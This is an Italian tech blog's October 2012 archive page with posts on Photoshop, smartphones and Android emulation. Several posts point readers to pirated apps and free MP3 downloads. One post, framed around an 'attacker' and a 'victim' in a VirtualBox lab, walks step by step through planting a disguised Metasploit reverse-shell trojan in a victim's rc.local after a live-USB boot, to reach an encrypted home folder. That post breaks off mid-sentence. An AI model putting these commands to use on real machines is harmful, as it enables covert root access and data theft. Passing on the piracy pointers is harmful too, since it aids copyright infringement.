TinyDropdown Menu Fastubuntu Blog: ottobre 2012

mercoledì 31 ottobre 2012

Creare una pagina Web con Photoshop

01 Stili livello indipendenti
Molti usano gli stili di livello ma le loro
impostazioni non permettono di controllare
appieno gli effetti (per esempio un’ombra
esterna o una combinazione di pattern). Provate
così: applicate gli stili a un livello, poi scegliete
Livello>Stile livello>Crea Livello. Ogni stile sarà
inserito in un livello a parte.
02 Pixel calamitati
Per evitare la comparsa della linea
sfocata da 1 pixel intorno alle forme
da voi disegnate, scegliete lo strumento
Rettangolo e nelle opzioni forma in alto
selezionate la freccia accanto all’icona
della forma personale. Nel menu successivo,
attivate la casella Pixel calamitati.
03 Cerchi perfetti
Purtroppo ‘Pixel calamitati’ vale solo
per i rettangoli. E i cerchi? Come quasi sempre
in Photoshop, le regole si possono forzare
un po’. Scegliete il Rettangolo arrotondato
e applicate un valore elevato al raggio, a
seconda delle dimensioni del cerchio che volete
creare. Dovreste ottenere un cerchio perfetto.
04 Nomi dei livelli
Eccovi un trucco per eliminare la parola
‘copia’ dai livelli copiati: nel pannello Livelli,
aprite la finestra delle opzioni cliccando sulla
freccia e sulle linee a destra delle etichette.
In basso troverete le Opzioni pannnello, in cui
potrete deselezionare Aggiungi “copia” ai livelli
e gruppi copiati. Nota: disponibile solo
in CS5 e successivi.
05 Creare le vostre griglie
Di tutti i plug-in che permettono
di ampliare Photoshop, GuideGuide di Cameron
McEfee è uno dei più geniali. Le griglie sono
fondamentali per la progettazione grafica
ma a crearle si rischia spesso di impazzire.
Avete mai provato a trascinare una guida
in un punto specifico per poi vederla spostarsi
automaticamente di un pixel al rilascio del mouse?
Invece di gettare il mouse dalla finestra, scaricate
GuideGuide (guideguide.me) e fategli impostare
automaticamente colonne e margini.
06 Oggetti avanzati non distruttivi
In Photoshop conviene sempre mantenere
le immagini quanto più flessibili possibile
per poterle modificare in seguito all’occorrenza.
Le forme vettoriali, per esempio, possono essere
ridimensionate a piacere (a differenza delle
bitmap). Potete usare lo stesso approccio con foto
e altre immagini cliccando con il tasto destro
del mouse su un livello e scegliendo Converti
in Oggetto avanzato. Potrete così applicarvi
dei filtri mantenendo intatto l’originale.
07 Segreti dei tasti di scelta rapida
Se usate un Apple Cinema Display o un grosso
iMac, può capitarvi di affaticare il polso spostandovi
di continuo dal quadro al pannello Livelli.
Nel caso, vi converrà sfruttare qualche tasto
di scelta rapida:
l Per regolare l’opacità di un elemento, premete
un tasto numerico (1 = 10%, 4 = 40%, 0 = 100%).
l Per regolare le dimensioni del testo,
selezionatelo e premete Apple+Shift+>
per aumentarle o Apple+Shift+< per ridurle.
l Per passare da un documento aperto all’altro,
premete Ctrl+Tab.
08 Converti in testo paragrafo
Lavorare con il testo in Photoshop può
essere faticoso, specie quando un blocco
di testo non è inserito in un riquadro di testo.
Regolarne la larghezza risulta complicato e noioso.
Selezionate il livello e non il testo, quindi scegliete
Livello>Testo>Converti in testo paragrafo. Il testo
verrà magicamente inserito in un riquadro pronto
per essere ridimensionato.
09 Estrazione di elementi
Capita spesso di dover isolare o estrarre
un soggetto da uno sfondo e nel corso degli
anni ho scoperto innumerevoli sistemi per farlo.
Il migliore in assoluto consiste nell’usare
i tracciati. Nel pannello livelli, passate a Tracciati
e createne uno nuovo. Ricalcate quindi il contorno
del soggetto con la Penna e quando avrete
terminato, scegliete la terza icona da sinistra,
Carica tracciato come selezione. Mantenendo
la selezione attiva, passate al pannello Livelli
e create una maschera.
10 Usate le istantanee
Photoshop è tristemente famoso per la voracità
con cui divora le risorse del computer. Tra le vare
contromisure che potete adottare c’è la riduzione
degli stati Storia (sotto Preferenze>Prestazioni)
a un numero più gestibile, per esempio 5.
Può sembrare un consiglio strano: anche a me,
come a tutti, piace sperimentare qualcosa per
poi annullarlo. L’uso delle istantanee, tuttavia,
vi permette di conservare uno ‘stato’ di un progetto
a prescindere dal numero delle operazioni successive.
Nel pannello Storia, scegliete Crea istantanea quando
volete sperimentare qualche modifica.

giovedì 25 ottobre 2012

Shortcut per la fotocamera


Il sensore da 8 MegaPixel di iPhone
4s ha letteralmente rivoluzionato
il concetto di fotografia mobile per
quanto riguarda gli smartphone.
Molti altri terminali Android integrano
fotocamere molto simili, ma ormai dovremo
essere abituati al fatto che quanto avviene
in casa Apple ha sempre caratteristiche
rivoluzionarie, anche se esisteva già. Se con
iOS 5 ci è stata data la possibilità di scattare
foto direttamente anche in lock screen
grazie ai tasti fisici del volume, con iOS 5.1
abbiamo addirittura sempre a disposizione
l'icona per lanciare la foto accanto al famoso
slide per lo sblocco. Nessuna rivoluzione,
certo, ma una comodità per chi ha fatto di
iPhone uno strumento per immortalare la
realtà ovunque ci si trovi.

mercoledì 24 ottobre 2012

SMS Gratuiti da PC



Per installare BlueStacks sul computer occore avere
un collegamento a Internet attivo necessario per scaricare
tutti i file di configurazione.
Ecco comeprocedere.

1 Scarica BlueStacks poi installalo

Terminata l'installazione di WhatsApp potremo configuralrlo per
inviare sms gratuiti da PC verso tutti i dispositivi mobili, e senza
più preoccuparci di consumare il nostro credito telefonico.

1 Apriamo il programma BlueStacks
2 Propriocome i dispositivi mobile Android BlueStacks permette di
  installare le app reperite negli store.
  Nel caso di WhatsApp la cosa è ancora più semplice
  in quanto il collegamento è raggiungibile cliccando Messaging.
3 L'app sarà installata senza richieder alcuna conferma
  e la troveremo nell elenco My Apps.
  Clicchiamoci su per avviare l'app, accettiamo i termini con
  Conferma e Continua e prendiamo il cellulare che ci servirà per ricevere
  il codice di verifica.
4 Nel frattempo riceveremo un Sms sul nostro cell contenente
  il codice di verifica, se l'sms non viene recapitato
  cliccando Chiamami riceveremo una chiamata che ci detterà
  3 cifre di codice di verifica.Addesso non resta solo
  che inserire il codice e il gioco è fatto.
5 Ultima cosa visto che Whatsapp non lo stiamo utilizzando dal telefonino
  è necesario creare i contatti dal panello Menu/Contatti poi ancora Menu/Nuovo Contatto.

venerdì 19 ottobre 2012

Applicazioni Android



Per scaricare tantissime applicazioni senza dover
pagare il contratto di licenza si può ricorrere ad
Aptoide. Per installarlo sullo smartphone avviamo
il browser vai su sito http://m.aptoide.com/installer
e clicchiamo sul pulsante Install Aptoide.
per caricare le repository dove è possibiletrovare le
app si và in MENU/GESTISCI REPO  e selezioniamo NUOVO
REPO. Tra le migliori repo che si possono aggiunger ci sono
http://android-es.com/repo/apk,
http://afshar.aptoide.org
http://atalanta1907.aptoide.org
http://repoman.aptoide.org
http://androidvinotinto.aptoide.org
http://yohanes.aptoide.org
http://megamaxy.aptoide.org
http://sorbaioli.org/repo
http://nicvolk86.aptoide.org

mercoledì 17 ottobre 2012

Come sbloccare uno Smartphone Android



Il root è quell'operazione che consente di sbloccare uno smartphone con
Android per installare applicazioni anche
non ufficiali e che richiedono i permessi di root.
Esistono diversi tool in grado si eseguire il root,
ma in generale per ogni dispositivo bisogna utilizzare una procedura diversa.
Il più completo è sicuramente Unlock Root
che supporta tantissimi dispositivi
(l'elenco completo è disponibile su
www.unlockroot.com/unlockroot.php ).
La procedura per eseguire il root non è molto
complicata. Per prima cosa si deve collegare il telefonino
al PC nella modalità debug che è possibile attivare andando
in IMPOSTAZIONI/APPLICAZIONI/SVILUPPO.
Avviare quindi il software Unlock Root e cliccare sul
pulsante Unlock Root.

Scaricare musica gratis


Ecco come è posssiblie scaricare musica senza il mulo, ci sono tonnellate di mp3

Tra i tanti siti da cui è possibile scaricare musica,
www.dilandau.eu è sicuramente uno dei più gettonati.
Per trovare e scaricare un brano in MP3 non occore installare
alcun software: basta digitare il nome della canzone nel campo
al centro della pagina
e premere Ricerca  per la musica. Per
scaricare sul PC il file basta poi cliccare col tasto dx sul pulsante Download accanto al brano e scegliere Salva con nome.

Un'altro sito e Jamendo www.jamendo.com/it è una
piattaforma musicali online più grandi da cui è posssibile scaricare brani legalmente
il suo ricco database contiene oltre350 mila canzoni
che possibile ascoltare in streaming o scaricare.
il sito da anche la possibilità ad artisti emergenti di pubblicare
e condividere le loro opere per farsi conoscere al
popolo web.


mercoledì 10 ottobre 2012

Attaccare i server 3 parte


Attaccare un PC

Dal punto di vista dell’attaccante,
la differenza principale tra un server
e un Personal Computer è che un server
ha varie porte aperte (come quelle per
HTTP o FTP), mentre un desktop non
ne ha. Questo vuol dire che quando
si attacca un desktop, si deve utilizzare
un approccio differente. Se riuscite
ad avere accesso fisico a un computer,
trarne dei dati è facile. Il modo più facile
di farlo è inserire una distro live su CD
o su chiave USB, poi avviare
la macchina da questa distro e montare
il disco. Questo dovrebbe darvi pieno
accesso all’intero disco fisso.
Comunque, se l’utente è conscio
di questo pericolo, può sempre ricorrere
alla cifratura del disco (di tutto o di una
sua parte), rendendo più difficile questo
tipo di attacco. In alcune distribuzioni
(come Ubuntu) l’utente è in grado
di cifrare la partizione home. Questo
vuol dire che quando si fa il boot
da una distro live è possibile leggere
i file di sistema ma non quelli
dell’utente. Non ci sono attacchi
particolari noti per i moderni algoritmi
di cifratura (tranne alcuni casi),
ma questo non vuol dire che non sia
possibile trovare un modo per accedere
ai dati, basta essere un po’ furbi. Ora
vi mostriamo come inserire un cavallo
di troia nella macchina per ottenere
l’accesso ai file dopo che l’utente
ha montato la partizione. Potete provare
voi stessi con VirtualBox. I prossimi
passi funzionano con Ubuntu come
distro vittima, e BackTrack come distro
dell’attaccante, ma potreste usarne
altre, basta che abbiano le funzionalità
richieste. La vittima deve avere una
partizione home cifrata e il sistema
attaccante deve essere dotato di
Metasploit Framework. Per prima cosa
create una macchina virtuale con
una Ubuntu recente, assicurandovi di
attivare l’opzione di cifratura della home
in fase di installazione. La scheda di rete
di questa macchina dovrebbe essere
impostata come Scheda solo host. Con
il sistema installato e la VM in esecuzione,
andate in Archiviazione e assicuratevi
che alla voce Lettore CD/DVD non
ci sia selezionata l’ISO di Ubuntu ma
piuttosto mettete quella di BackTrack.
Riavviate il sistema. Partirà BackTrack
proprio come fa un liveCD su una
macchina vera. Scegliete la prima voce
di menu al boot. Di default il sistema vi
farà entrare come root in un ambiente
testuale. Per avviare il desktop scrivete
startx
Ora dovete montare il disco fisso
con Ubuntu, quindi aprite un terminale
(Ctrl+Alt+T) e digitate
mkdir /mnt/victim
mount /dev/sda1 /mnt/victim
Ora potete navigare
nel disco ma se
provate a entrare
nella home vedrete
solo un file di testo
che dice che
il contenuto è cifrato.
A questo punto
dovete scoprire l’IP della vittima: usate
come prima ifconfig. Sul computer
vittima create il cavallo di troia,
in questo caso una reverse tcp shell,
usando msfpayload digitando
mfspayload linux/x86/shell/reverse_tcp
LHOST=192.168.56.101 LPORT=443
X > /mnt/victim/bin/UbuntuUpdate
dove 192.168.56.101 è l’IP
dell’attaccante. Questo comando crea
un eseguibile chiamato UbuntuUpdate
(un programma dal nome innocuo che
non insospettisce l’utente se lo vede
tra i processi attivi) che si connetterà
alla macchina attaccante sulla porta
443. Rendetelo eseguibile con
chmod +x /mnt/victim/bin/
UbuntuUpdate
Ora dovete farlo eseguire. Usando
il vostro editor di testo preferito
aggiungete la linea
/bin/UbuntuUpdate
al file /mnt/victim/etc/rc.local,
subito prima della riga
exit 0
Questo file viene eseguito al boot
del computer. Con il PC vittima pronto,
potete approntare la macchina
attaccante facendole attendere
la connessione. Aprite un terminale
e scrivete
msfcli exploit/multi/handler
PAYLOAD=linux/x86/shell/reverse_tcp
LHOST=192.168.56.101
LPORT=443 E
Per lanciare l’attacco riavviate
la macchina vittima senza il liveCD
(nella macchina virtuale disattivate
il boot da BackTrack). Quando sarà
arrivata alla schermata di login, essa
sarà connessa alla macchina attaccante.
Nel terminale digitate msfcli
e dovreste avere accesso a una shell
della vittima (non c’è il prompt).
Se digitate il comando whoami ottenete
root come risposta. Visto che rc.local
viene eseguito con i permessi di root,
questi seguono la vostra sessione
remota. Dal terminale remoto potete
navigare tra i file, eseguire del codice,
aggiungere utenti e fare tutto quello
che volete. Non potete, però, montare
la directory home senza la password
dell’utente, quindi dovete attendere che
esso faccia il login. Non appena l’utente
inserisce la sua password nel computer
vittima, il sistema monta il disco cifrato
e voi potrete osservare, cancellare
o modificare i file dell’utente come
se il disco non fosse cifrato.
Password del BIOS
Potete impedire che qualcuno faccia

lunedì 1 ottobre 2012

ANDROID SUL PG

no smartphone Android è un Compagno insostituibile pronto a risolvere qualsiasi problema
ovunque ci si trovi.
La cosa Che piú stupisce chi
si avvicina per la prima volta a questo mondo è la disponibilita
di illimitati applicativi: non esiste situazione
per la quale non sia giá stata creata un'app. ll massimo
sarebbe utilizzare Android, app incluse, andre sul Pc
ora questo desiderio non è un'utopia, grazie a Bluestacks,
disponibile su http://bluestacks.com. Semplice da installare,
|'emulatore è distribuito in Versione per Pc e per MaC e trasorma
in computer in un dispositivo Android.  E' perfino disponibile l'Android l.4
Market tramite il quale potremo scaricare e utilizza tutte le app che vorremo, da Shazam a Wrat's up, installarle e provarle
come se fossimo davvero sullo smartphone.